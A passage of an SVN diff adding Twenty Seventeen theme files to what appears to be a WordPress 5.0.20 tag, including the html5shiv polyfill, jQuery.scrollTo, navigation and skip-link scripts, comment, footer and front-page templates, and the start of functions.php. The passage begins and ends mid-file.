+  /** Detect whether the browser supports default html5 styles */
+  var supportsHtml5Styles;
+
+  /** Name of the expando, to work with multiple documents or to re-shiv one document */
+  var expando = '_html5shiv';
+
+  /** The id for the the documents expando */
+  var expanID = 0;
+
+  /** Cached data for each document */
+  var expandoData = {};
+
+  /** Detect whether the browser supports unknown elements */
+  var supportsUnknownElements;
+
+  (function() {
+    try {
+        var a = document.createElement('a');
+        a.innerHTML = '<xyz></xyz>';
+        //if the hidden property is implemented we can assume, that the browser supports basic HTML5 Styles
+        supportsHtml5Styles = ('hidden' in a);
+
+        supportsUnknownElements = a.childNodes.length == 1 || (function() {
+          // assign a false positive if unable to shiv
+          (document.createElement)('a');
+          var frag = document.createDocumentFragment();
+          return (
+            typeof frag.cloneNode == 'undefined' ||
+            typeof frag.createDocumentFragment == 'undefined' ||
+            typeof frag.createElement == 'undefined'
+          );
+        }());
+    } catch(e) {
+      // assign a false positive if detection fails => unable to shiv
+      supportsHtml5Styles = true;
+      supportsUnknownElements = true;
+    }
+
+  }());
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Creates a style sheet with the given CSS text and adds it to the document.
+   * @private
+   * @param {Document} ownerDocument The document.
+   * @param {String} cssText The CSS text.
+   * @returns {StyleSheet} The style element.
+   */
+  function addStyleSheet(ownerDocument, cssText) {
+    var p = ownerDocument.createElement('p'),
+        parent = ownerDocument.getElementsByTagName('head')[0] || ownerDocument.documentElement;
+
+    p.innerHTML = 'x<style>' + cssText + '</style>';
+    return parent.insertBefore(p.lastChild, parent.firstChild);
+  }
+
+  /**
+   * Returns the value of `html5.elements` as an array.
+   * @private
+   * @returns {Array} An array of shived element node names.
+   */
+  function getElements() {
+    var elements = html5.elements;
+    return typeof elements == 'string' ? elements.split(' ') : elements;
+  }
+
+  /**
+   * Extends the built-in list of html5 elements
+   * @memberOf html5
+   * @param {String|Array} newElements whitespace separated list or array of new element names to shiv
+   * @param {Document} ownerDocument The context document.
+   */
+  function addElements(newElements, ownerDocument) {
+    var elements = html5.elements;
+    if(typeof elements != 'string'){
+      elements = elements.join(' ');
+    }
+    if(typeof newElements != 'string'){
+      newElements = newElements.join(' ');
+    }
+    html5.elements = elements +' '+ newElements;
+    shivDocument(ownerDocument);
+  }
+
+   /**
+   * Returns the data associated to the given document
+   * @private
+   * @param {Document} ownerDocument The document.
+   * @returns {Object} An object of data.
+   */
+  function getExpandoData(ownerDocument) {
+    var data = expandoData[ownerDocument[expando]];
+    if (!data) {
+        data = {};
+        expanID++;
+        ownerDocument[expando] = expanID;
+        expandoData[expanID] = data;
+    }
+    return data;
+  }
+
+  /**
+   * returns a shived element for the given nodeName and document
+   * @memberOf html5
+   * @param {String} nodeName name of the element
+   * @param {Document|DocumentFragment} ownerDocument The context document.
+   * @returns {Object} The shived element.
+   */
+  function createElement(nodeName, ownerDocument, data){
+    if (!ownerDocument) {
+        ownerDocument = document;
+    }
+    if(supportsUnknownElements){
+        return ownerDocument.createElement(nodeName);
+    }
+    if (!data) {
+        data = getExpandoData(ownerDocument);
+    }
+    var node;
+
+    if (data.cache[nodeName]) {
+        node = data.cache[nodeName].cloneNode();
+    } else if (saveClones.test(nodeName)) {
+        node = (data.cache[nodeName] = data.createElem(nodeName)).cloneNode();
+    } else {
+        node = data.createElem(nodeName);
+    }
+
+    // Avoid adding some elements to fragments in IE < 9 because
+    // * Attributes like `name` or `type` cannot be set/changed once an element
+    //   is inserted into a document/fragment
+    // * Link elements with `src` attributes that are inaccessible, as with
+    //   a 403 response, will cause the tab/window to crash
+    // * Script elements appended to fragments will execute when their `src`
+    //   or `text` property is set
+    return node.canHaveChildren && !reSkip.test(nodeName) && !node.tagUrn ? data.frag.appendChild(node) : node;
+  }
+
+  /**
+   * returns a shived DocumentFragment for the given document
+   * @memberOf html5
+   * @param {Document} ownerDocument The context document.
+   * @returns {Object} The shived DocumentFragment.
+   */
+  function createDocumentFragment(ownerDocument, data){
+    if (!ownerDocument) {
+        ownerDocument = document;
+    }
+    if(supportsUnknownElements){
+        return ownerDocument.createDocumentFragment();
+    }
+    data = data || getExpandoData(ownerDocument);
+    var clone = data.frag.cloneNode(),
+        i = 0,
+        elems = getElements(),
+        l = elems.length;
+    for(;i<l;i++){
+        clone.createElement(elems[i]);
+    }
+    return clone;
+  }
+
+  /**
+   * Shivs the `createElement` and `createDocumentFragment` methods of the document.
+   * @private
+   * @param {Document|DocumentFragment} ownerDocument The document.
+   * @param {Object} data of the document.
+   */
+  function shivMethods(ownerDocument, data) {
+    if (!data.cache) {
+        data.cache = {};
+        data.createElem = ownerDocument.createElement;
+        data.createFrag = ownerDocument.createDocumentFragment;
+        data.frag = data.createFrag();
+    }
+
+
+    ownerDocument.createElement = function(nodeName) {
+      //abort shiv
+      if (!html5.shivMethods) {
+          return data.createElem(nodeName);
+      }
+      return createElement(nodeName, ownerDocument, data);
+    };
+
+    ownerDocument.createDocumentFragment = Function('h,f', 'return function(){' +
+      'var n=f.cloneNode(),c=n.createElement;' +
+      'h.shivMethods&&(' +
+        // unroll the `createElement` calls
+        getElements().join().replace(/[\w\-:]+/g, function(nodeName) {
+          data.createElem(nodeName);
+          data.frag.createElement(nodeName);
+          return 'c("' + nodeName + '")';
+        }) +
+      ');return n}'
+    )(html5, data.frag);
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * Shivs the given document.
+   * @memberOf html5
+   * @param {Document} ownerDocument The document to shiv.
+   * @returns {Document} The shived document.
+   */
+  function shivDocument(ownerDocument) {
+    if (!ownerDocument) {
+        ownerDocument = document;
+    }
+    var data = getExpandoData(ownerDocument);
+
+    if (html5.shivCSS && !supportsHtml5Styles && !data.hasCSS) {
+      data.hasCSS = !!addStyleSheet(ownerDocument,
+        // corrects block display not defined in IE6/7/8/9
+        'article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}' +
+        // adds styling not present in IE6/7/8/9
+        'mark{background:#FF0;color:#000}' +
+        // hides non-rendered elements
+        'template{display:none}'
+      );
+    }
+    if (!supportsUnknownElements) {
+      shivMethods(ownerDocument, data);
+    }
+    return ownerDocument;
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  /**
+   * The `html5` object is exposed so that more elements can be shived and
+   * existing shiving can be detected on iframes.
+   * @type Object
+   * @example
+   *
+   * // options can be changed before the script is included
+   * html5 = { 'elements': 'mark section', 'shivCSS': false, 'shivMethods': false };
+   */
+  var html5 = {
+
+    /**
+     * An array or space separated string of node names of the elements to shiv.
+     * @memberOf html5
+     * @type Array|String
+     */
+    'elements': options.elements || 'abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output picture progress section summary template time video',
+
+    /**
+     * current version of html5shiv
+     */
+    'version': version,
+
+    /**
+     * A flag to indicate that the HTML5 style sheet should be inserted.
+     * @memberOf html5
+     * @type Boolean
+     */
+    'shivCSS': (options.shivCSS !== false),
+
+    /**
+     * Is equal to true if a browser supports creating unknown/HTML5 elements
+     * @memberOf html5
+     * @type boolean
+     */
+    'supportsUnknownElements': supportsUnknownElements,
+
+    /**
+     * A flag to indicate that the document's `createElement` and `createDocumentFragment`
+     * methods should be overwritten.
+     * @memberOf html5
+     * @type Boolean
+     */
+    'shivMethods': (options.shivMethods !== false),
+
+    /**
+     * A string to describe the type of `html5` object ("default" or "default print").
+     * @memberOf html5
+     * @type String
+     */
+    'type': 'default',
+
+    // shivs the document according to the specified `html5` object options
+    'shivDocument': shivDocument,
+
+    //creates a shived element
+    createElement: createElement,
+
+    //creates a shived documentFragment
+    createDocumentFragment: createDocumentFragment,
+
+    //extends list of elements
+    addElements: addElements
+  };
+
+  /*--------------------------------------------------------------------------*/
+
+  // expose html5
+  window.html5 = html5;
+
+  // shiv the document
+  shivDocument(document);
+
+  if(typeof module == 'object' && module.exports){
+    module.exports = html5;
+  }
+
+}(typeof window !== "undefined" ? window : this, document));
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/jquery.scrollTo.js	(revision 56912)
@@ -0,0 +1,209 @@
+/*!
+ * jQuery.scrollTo
+ * Copyright (c) 2007-2015 Ariel Flesler - aflesler<a>gmail<d>com | http://flesler.blogspot.com
+ * Licensed under MIT
+ * http://flesler.blogspot.com/2007/10/jqueryscrollto.html
+ * @projectDescription Lightweight, cross-browser and highly customizable animated scrolling with jQuery
+ * @author Ariel Flesler
+ * @version 2.1.2
+ */
+;(function(factory) {
+	'use strict';
+	if (typeof define === 'function' && define.amd) {
+		// AMD
+		define( ['jquery'], factory );
+	} else if (typeof module !== 'undefined' && module.exports) {
+		// CommonJS
+		module.exports = factory( require( 'jquery' ) );
+	} else {
+		// Global
+		factory( jQuery );
+	}
+})(function($) {
+	'use strict';
+
+	var $scrollTo = $.scrollTo = function(target, duration, settings) {
+		return $( window ).scrollTo( target, duration, settings );
+	};
+
+	$scrollTo.defaults = {
+		axis:'xy',
+		duration: 0,
+		limit:true
+	};
+
+	function isWin(elem) {
+		return ! elem.nodeName ||
+			$.inArray( elem.nodeName.toLowerCase(), ['iframe','#document','html','body'] ) !== -1;
+	}
+
+	$.fn.scrollTo = function(target, duration, settings) {
+		if (typeof duration === 'object') {
+			settings = duration;
+			duration = 0;
+		}
+		if (typeof settings === 'function') {
+			settings = { onAfter:settings };
+		}
+		if (target === 'max') {
+			target = 9e9;
+		}
+
+		settings = $.extend( {}, $scrollTo.defaults, settings );
+		// Speed is still recognized for backwards compatibility
+		duration = duration || settings.duration;
+		// Make sure the settings are given right
+		var queue = settings.queue && settings.axis.length > 1;
+		if (queue) {
+			// Let's keep the overall duration
+			duration /= 2;
+		}
+		settings.offset = both( settings.offset );
+		settings.over = both( settings.over );
+
+		return this.each(function() {
+			// Null target yields nothing, just like jQuery does
+			if (target === null) { return; }
+
+			var win = isWin( this ),
+				elem = win ? this.contentWindow || window : this,
+				$elem = $( elem ),
+				targ = target,
+				attr = {},
+				toff;
+
+			switch (typeof targ) {
+				// A number will pass the regex
+				case 'number':
+				case 'string':
+					if (/^([+-]=?)?\d+(\.\d+)?(px|%)?$/.test( targ )) {
+						targ = both( targ );
+						// We are done
+						break;
+					}
+					// Relative/Absolute selector
+					targ = win ? $( targ ) : $( targ, elem );
+					/* falls through */
+				case 'object':
+					if (targ.length === 0) { return; }
+					// DOMElement / jQuery
+					if (targ.is || targ.style) {
+						// Get the real position of the target
+						toff = (targ = $( targ )).offset();
+					}
+			}
+
+			var offset = $.isFunction( settings.offset ) && settings.offset( elem, targ ) || settings.offset;
+
+			$.each(settings.axis.split( '' ), function(i, axis) {
+				var Pos	= axis === 'x' ? 'Left' : 'Top',
+					pos = Pos.toLowerCase(),
+					key = 'scroll' + Pos,
+					prev = $elem[key](),
+					max = $scrollTo.max( elem, axis );
+
+				if (toff) {// jQuery / DOMElement
+					attr[key] = toff[pos] + (win ? 0 : prev - $elem.offset()[pos]);
+
+					// If it's a dom element, reduce the margin
+					if (settings.margin) {
+						attr[key] -= parseInt( targ.css( 'margin' + Pos ), 10 ) || 0;
+						attr[key] -= parseInt( targ.css( 'border' + Pos + 'Width' ), 10 ) || 0;
+					}
+
+					attr[key] += offset[pos] || 0;
+
+					if (settings.over[pos]) {
+						// Scroll to a fraction of its width/height
+						attr[key] += targ[axis === 'x'?'width':'height']() * settings.over[pos];
+					}
+				} else {
+					var val = targ[pos];
+					// Handle percentage values
+					attr[key] = val.slice && val.slice( -1 ) === '%' ?
+						parseFloat( val ) / 100 * max
+						: val;
+				}
+
+				// Number or 'number'
+				if (settings.limit && /^\d+$/.test( attr[key] )) {
+					// Check the limits
+					attr[key] = attr[key] <= 0 ? 0 : Math.min( attr[key], max );
+				}
+
+				// Don't waste time animating, if there's no need.
+				if ( ! i && settings.axis.length > 1) {
+					if (prev === attr[key]) {
+						// No animation needed
+						attr = {};
+					} else if (queue) {
+						// Intermediate animation
+						animate( settings.onAfterFirst );
+						// Don't animate this axis again in the next iteration.
+						attr = {};
+					}
+				}
+			});
+
+			animate( settings.onAfter );
+
+			function animate(callback) {
+				var opts = $.extend({}, settings, {
+					// The queue setting conflicts with animate()
+					// Force it to always be true
+					queue: true,
+					duration: duration,
+					complete: callback && function() {
+						callback.call( elem, targ, settings );
+					}
+				});
+				$elem.animate( attr, opts );
+			}
+		});
+	};
+
+	// Max scrolling position, works on quirks mode
+	// It only fails (not too badly) on IE, quirks mode.
+	$scrollTo.max = function(elem, axis) {
+		var Dim = axis === 'x' ? 'Width' : 'Height',
+			scroll = 'scroll' + Dim;
+
+		if ( ! isWin( elem )) {
+			return elem[scroll] - $( elem )[Dim.toLowerCase()](); }
+
+		var size = 'client' + Dim,
+			doc = elem.ownerDocument || elem.document,
+			html = doc.documentElement,
+			body = doc.body;
+
+		return Math.max( html[scroll], body[scroll] ) - Math.min( html[size], body[size] );
+	};
+
+	function both(val) {
+		return $.isFunction( val ) || $.isPlainObject( val ) ? val : { top:val, left:val };
+	}
+
+	// Add special hooks so that window scroll properties can be animated
+	$.Tween.propHooks.scrollLeft = $.Tween.propHooks.scrollTop = {
+		get: function(t) {
+			return $( t.elem )[t.prop]();
+		},
+		set: function(t) {
+			var curr = this.get( t );
+			// If interrupt is true and user scrolled, stop animating
+			if (t.options.interrupt && t._last && t._last !== curr) {
+				return $( t.elem ).stop();
+			}
+			var next = Math.round( t.now );
+			// Don't waste CPU
+			// Browsers don't render floating point scroll
+			if (curr !== next) {
+				$( t.elem )[t.prop](next);
+				t._last = this.get( t );
+			}
+		}
+	};
+
+	// AMD requirement
+	return $scrollTo;
+});
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/navigation.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/navigation.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/navigation.js	(revision 56912)
@@ -0,0 +1,109 @@
+/* global twentyseventeenScreenReaderText */
+/**
+ * Theme functions file.
+ *
+ * Contains handlers for navigation and widget area.
+ */
+
+(function( $ ) {
+	var masthead, menuToggle, siteNavContain, siteNavigation;
+
+	function initMainNavigation( container ) {
+
+		// Add dropdown toggle that displays child menu items.
+		var dropdownToggle = $( '<button />', { 'class': 'dropdown-toggle', 'aria-expanded': false })
+			.append( twentyseventeenScreenReaderText.icon )
+			.append( $( '<span />', { 'class': 'screen-reader-text', text: twentyseventeenScreenReaderText.expand }) );
+
+		container.find( '.menu-item-has-children > a, .page_item_has_children > a' ).after( dropdownToggle );
+
+		// Set the active submenu dropdown toggle button initial state.
+		container.find( '.current-menu-ancestor > button' )
+			.addClass( 'toggled-on' )
+			.attr( 'aria-expanded', 'true' )
+			.find( '.screen-reader-text' )
+			.text( twentyseventeenScreenReaderText.collapse );
+		// Set the active submenu initial state.
+		container.find( '.current-menu-ancestor > .sub-menu' ).addClass( 'toggled-on' );
+
+		container.find( '.dropdown-toggle' ).click( function( e ) {
+			var _this = $( this ),
+				screenReaderSpan = _this.find( '.screen-reader-text' );
+
+			e.preventDefault();
+			_this.toggleClass( 'toggled-on' );
+			_this.next( '.children, .sub-menu' ).toggleClass( 'toggled-on' );
+
+			_this.attr( 'aria-expanded', _this.attr( 'aria-expanded' ) === 'false' ? 'true' : 'false' );
+
+			screenReaderSpan.text( screenReaderSpan.text() === twentyseventeenScreenReaderText.expand ? twentyseventeenScreenReaderText.collapse : twentyseventeenScreenReaderText.expand );
+		});
+	}
+
+	initMainNavigation( $( '.main-navigation' ) );
+
+	masthead       = $( '#masthead' );
+	menuToggle     = masthead.find( '.menu-toggle' );
+	siteNavContain = masthead.find( '.main-navigation' );
+	siteNavigation = masthead.find( '.main-navigation > div > ul' );
+
+	// Enable menuToggle.
+	(function() {
+
+		// Return early if menuToggle is missing.
+		if ( ! menuToggle.length ) {
+			return;
+		}
+
+		// Add an initial value for the attribute.
+		menuToggle.attr( 'aria-expanded', 'false' );
+
+		menuToggle.on( 'click.twentyseventeen', function() {
+			siteNavContain.toggleClass( 'toggled-on' );
+
+			$( this ).attr( 'aria-expanded', siteNavContain.hasClass( 'toggled-on' ) );
+		});
+	})();
+
+	// Fix sub-menus for touch devices and better focus for hidden submenu items for accessibility.
+	(function() {
+		if ( ! siteNavigation.length || ! siteNavigation.children().length ) {
+			return;
+		}
+
+		// Toggle `focus` class to allow submenu access on tablets.
+		function toggleFocusClassTouchScreen() {
+			if ( 'none' === $( '.menu-toggle' ).css( 'display' ) ) {
+
+				$( document.body ).on( 'touchstart.twentyseventeen', function( e ) {
+					if ( ! $( e.target ).closest( '.main-navigation li' ).length ) {
+						$( '.main-navigation li' ).removeClass( 'focus' );
+					}
+				});
+
+				siteNavigation.find( '.menu-item-has-children > a, .page_item_has_children > a' )
+					.on( 'touchstart.twentyseventeen', function( e ) {
+						var el = $( this ).parent( 'li' );
+
+						if ( ! el.hasClass( 'focus' ) ) {
+							e.preventDefault();
+							el.toggleClass( 'focus' );
+							el.siblings( '.focus' ).removeClass( 'focus' );
+						}
+					});
+
+			} else {
+				siteNavigation.find( '.menu-item-has-children > a, .page_item_has_children > a' ).unbind( 'touchstart.twentyseventeen' );
+			}
+		}
+
+		if ( 'ontouchstart' in window ) {
+			$( window ).on( 'resize.twentyseventeen', toggleFocusClassTouchScreen );
+			toggleFocusClassTouchScreen();
+		}
+
+		siteNavigation.find( 'a' ).on( 'focus.twentyseventeen blur.twentyseventeen', function() {
+			$( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
+		});
+	})();
+})( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/js/skip-link-focus-fix.js	(revision 56912)
@@ -0,0 +1,31 @@
+/**
+ * File skip-link-focus-fix.js.
+ *
+ * Helps with accessibility for keyboard only users.
+ *
+ * Learn more: https://git.io/vWdr2
+ */
+(function() {
+	var isIe = /(trident|msie)/i.test( navigator.userAgent );
+
+	if ( isIe && document.getElementById && window.addEventListener ) {
+		window.addEventListener( 'hashchange', function() {
+			var id = location.hash.substring( 1 ),
+				element;
+
+			if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {
+				return;
+			}
+
+			element = document.getElementById( id );
+
+			if ( element ) {
+				if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) {
+					element.tabIndex = -1;
+				}
+
+				element.focus();
+			}
+		}, false );
+	}
+})();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/comments.php	(revision 56912)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * The template for displaying comments
+ *
+ * This is the template that displays the area of the page that contains both the current comments
+ * and the comment form.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+/*
+ * If the current post is protected by a password and
+ * the visitor has not yet entered the password we will
+ * return early without loading the comments.
+ */
+if ( post_password_required() ) {
+	return;
+}
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php
+	// You can start editing here -- including this comment!
+	if ( have_comments() ) : ?>
+		<h2 class="comments-title">
+			<?php
+			$comments_number = get_comments_number();
+			if ( '1' === $comments_number ) {
+				/* translators: %s: post title */
+				printf( _x( 'One Reply to &ldquo;%s&rdquo;', 'comments title', 'twentyseventeen' ), get_the_title() );
+			} else {
+				printf(
+					/* translators: 1: number of comments, 2: post title */
+					_nx(
+						'%1$s Reply to &ldquo;%2$s&rdquo;',
+						'%1$s Replies to &ldquo;%2$s&rdquo;',
+						$comments_number,
+						'comments title',
+						'twentyseventeen'
+					),
+					number_format_i18n( $comments_number ),
+					get_the_title()
+				);
+			}
+			?>
+		</h2>
+
+		<ol class="comment-list">
+			<?php
+				wp_list_comments( array(
+					'avatar_size' => 100,
+					'style'       => 'ol',
+					'short_ping'  => true,
+					'reply_text'  => twentyseventeen_get_svg( array( 'icon' => 'mail-reply' ) ) . __( 'Reply', 'twentyseventeen' ),
+				) );
+			?>
+		</ol>
+
+		<?php the_comments_pagination( array(
+			'prev_text' => twentyseventeen_get_svg( array( 'icon' => 'arrow-left' ) ) . '<span class="screen-reader-text">' . __( 'Previous', 'twentyseventeen' ) . '</span>',
+			'next_text' => '<span class="screen-reader-text">' . __( 'Next', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'arrow-right' ) ),
+		) );
+
+	endif; // Check for have_comments().
+
+	// If comments are closed and there are comments, let's leave a little note, shall we?
+	if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) : ?>
+
+		<p class="no-comments"><?php _e( 'Comments are closed.', 'twentyseventeen' ); ?></p>
+	<?php
+	endif;
+
+	comment_form();
+	?>
+
+</div><!-- #comments -->
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/footer.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains the closing of the #content div and all content after.
+ *
+ * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.2
+ */
+
+?>
+
+		</div><!-- #content -->
+
+		<footer id="colophon" class="site-footer" role="contentinfo">
+			<div class="wrap">
+				<?php
+				get_template_part( 'template-parts/footer/footer', 'widgets' );
+
+				if ( has_nav_menu( 'social' ) ) : ?>
+					<nav class="social-navigation" role="navigation" aria-label="<?php esc_attr_e( 'Footer Social Links Menu', 'twentyseventeen' ); ?>">
+						<?php
+							wp_nav_menu( array(
+								'theme_location' => 'social',
+								'menu_class'     => 'social-links-menu',
+								'depth'          => 1,
+								'link_before'    => '<span class="screen-reader-text">',
+								'link_after'     => '</span>' . twentyseventeen_get_svg( array( 'icon' => 'chain' ) ),
+							) );
+						?>
+					</nav><!-- .social-navigation -->
+				<?php endif;
+
+				get_template_part( 'template-parts/footer/site', 'info' );
+				?>
+			</div><!-- .wrap -->
+		</footer><!-- #colophon -->
+	</div><!-- .site-content-contain -->
+</div><!-- #page -->
+<?php wp_footer(); ?>
+
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/front-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/front-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/front-page.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * The front page template file
+ *
+ * If the user has selected a static page for their homepage, this is what will
+ * appear.
+ * Learn more: https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ * @version 1.0
+ */
+
+get_header(); ?>
+
+<div id="primary" class="content-area">
+	<main id="main" class="site-main" role="main">
+
+		<?php // Show the selected frontpage content.
+		if ( have_posts() ) :
+			while ( have_posts() ) : the_post();
+				get_template_part( 'template-parts/page/content', 'front-page' );
+			endwhile;
+		else :
+			get_template_part( 'template-parts/post/content', 'none' );
+		endif; ?>
+
+		<?php
+		// Get each of our panels and show the post data.
+		if ( 0 !== twentyseventeen_panel_count() || is_customize_preview() ) : // If we have pages to show.
+
+			/**
+			 * Filter number of front page sections in Twenty Seventeen.
+			 *
+			 * @since Twenty Seventeen 1.0
+			 *
+			 * @param int $num_sections Number of front page sections.
+			 */
+			$num_sections = apply_filters( 'twentyseventeen_front_page_sections', 4 );
+			global $twentyseventeencounter;
+
+			// Create a setting and control for each of the sections available in the theme.
+			for ( $i = 1; $i < ( 1 + $num_sections ); $i++ ) {
+				$twentyseventeencounter = $i;
+				twentyseventeen_front_page_section( null, $i );
+			}
+
+	endif; // The if ( 0 !== twentyseventeen_panel_count() ) ends here. ?>
+
+	</main><!-- #main -->
+</div><!-- #primary -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/functions.php	(revision 56912)
@@ -0,0 +1,635 @@
+<?php
+/**
+ * Twenty Seventeen functions and definitions
+ *
+ * @link https://developer.wordpress.org/themes/basics/theme-functions/
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+/**
+ * Twenty Seventeen only works in WordPress 4.7 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+	return;
+}
+
+/**
+ * Sets up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which
+ * runs before the init hook. The init hook is too late for some features, such
+ * as indicating support for post thumbnails.
+ */
+function twentyseventeen_setup() {
+	/*
+	 * Make theme available for translation.
+	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyseventeen
+	 * If you're building a theme based on Twenty Seventeen, use a find and replace
+	 * to change 'twentyseventeen' to the name of your theme in all the template files.
+	 */
+	load_theme_textdomain( 'twentyseventeen' );
+
+	// Add default posts and comments RSS feed links to head.
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Let WordPress manage the document title.
+	 * By adding theme support, we declare that this theme does not use a
+	 * hard-coded <title> tag in the document head, and expect WordPress to
+	 * provide it for us.
+	 */
+	add_theme_support( 'title-tag' );
+
+	/*
+	 * Enable support for Post Thumbnails on posts and pages.
+	 *
+	 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
+	 */
+	add_theme_support( 'post-thumbnails' );
+
+	add_image_size( 'twentyseventeen-featured-image', 2000, 1200, true );
+
+	add_image_size( 'twentyseventeen-thumbnail-avatar', 100, 100, true );
+
+	// Set the default content width.
+	$GLOBALS['content_width'] = 525;
+
+	// This theme uses wp_nav_menu() in two locations.
+	register_nav_menus( array(
+		'top'    => __( 'Top Menu', 'twentyseventeen' ),
+		'social' => __( 'Social Links Menu', 'twentyseventeen' ),
+	) );
+
+	/*
+	 * Switch default core markup for search form, comment form, and comments
+	 * to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'comment-form',
+		'comment-list',
+		'gallery',
+		'caption',
+	) );
+
+	/*
+	 * Enable support for Post Formats.
+	 *
+	 * See: https://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside',
+		'image',
+		'video',
+		'quote',
+		'link',
+		'gallery',
+		'audio',
+	) );
+
+	// Add theme support for Custom Logo.
+	add_theme_support( 'custom-logo', array(
+		'width'       => 250,
+		'height'      => 250,
+		'flex-width'  => true,
+	) );
+
+	// Add theme support for selective refresh for widgets.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+
+	/*
+	 * This theme styles the visual editor to resemble the theme style,
+	 * specifically font, colors, and column width.
+ 	 */
+	add_editor_style( array( 'assets/css/editor-style.css', twentyseventeen_fonts_url() ) );
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+ 	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Define and register starter content to showcase the theme on new sites.
+	$starter_content = array(
+		'widgets' => array(
+			// Place three core-defined widgets in the sidebar area.
+			'sidebar-1' => array(
+				'text_business_info',
+				'search',
+				'text_about',
+			),
+
+			// Add the core-defined business info widget to the footer 1 area.
+			'sidebar-2' => array(
+				'text_business_info',
+			),
+
+			// Put two core-defined widgets in the footer 2 area.
+			'sidebar-3' => array(
+				'text_about',
+				'search',
+			),
+		),
+
+		// Specify the core-defined pages to create and add custom thumbnails to some of them.
+		'posts' => array(
+			'home',
+			'about' => array(
+				'thumbnail' => '{{image-sandwich}}',
+			),
+			'contact' => array(
+				'thumbnail' => '{{image-espresso}}',
+			),
+			'blog' => array(
+				'thumbnail' => '{{image-coffee}}',
+			),
+			'homepage-section' => array(
+				'thumbnail' => '{{image-espresso}}',
+			),
+		),
+
+		// Create the custom image attachments used as post thumbnails for pages.
+		'attachments' => array(
+			'image-espresso' => array(
+				'post_title' => _x( 'Espresso', 'Theme starter content', 'twentyseventeen' ),
+				'file' => 'assets/images/espresso.jpg', // URL relative to the template directory.
+			),
+			'image-sandwich' => array(
+				'post_title' => _x( 'Sandwich', 'Theme starter content', 'twentyseventeen' ),
+				'file' => 'assets/images/sandwich.jpg',
+			),
+			'image-coffee' => array(
+				'post_title' => _x( 'Coffee', 'Theme starter content', 'twentyseventeen' ),
+				'file' => 'assets/images/coffee.jpg',
+			),
+		),
+
+		// Default to a static front page and assign the front and posts pages.
+		'options' => array(
+			'show_on_front' => 'page',
+			'page_on_front' => '{{home}}',
+			'page_for_posts' => '{{blog}}',
+		),
+
+		// Set the front page section theme mods to the IDs of the core-registered pages.
+		'theme_mods' => array(
+			'panel_1' => '{{homepage-section}}',
+			'panel_2' => '{{about}}',
+			'panel_3' => '{{blog}}',
+			'panel_4' => '{{contact}}',
+		),
+
+		// Set up nav menus for each of the two areas registered in the theme.
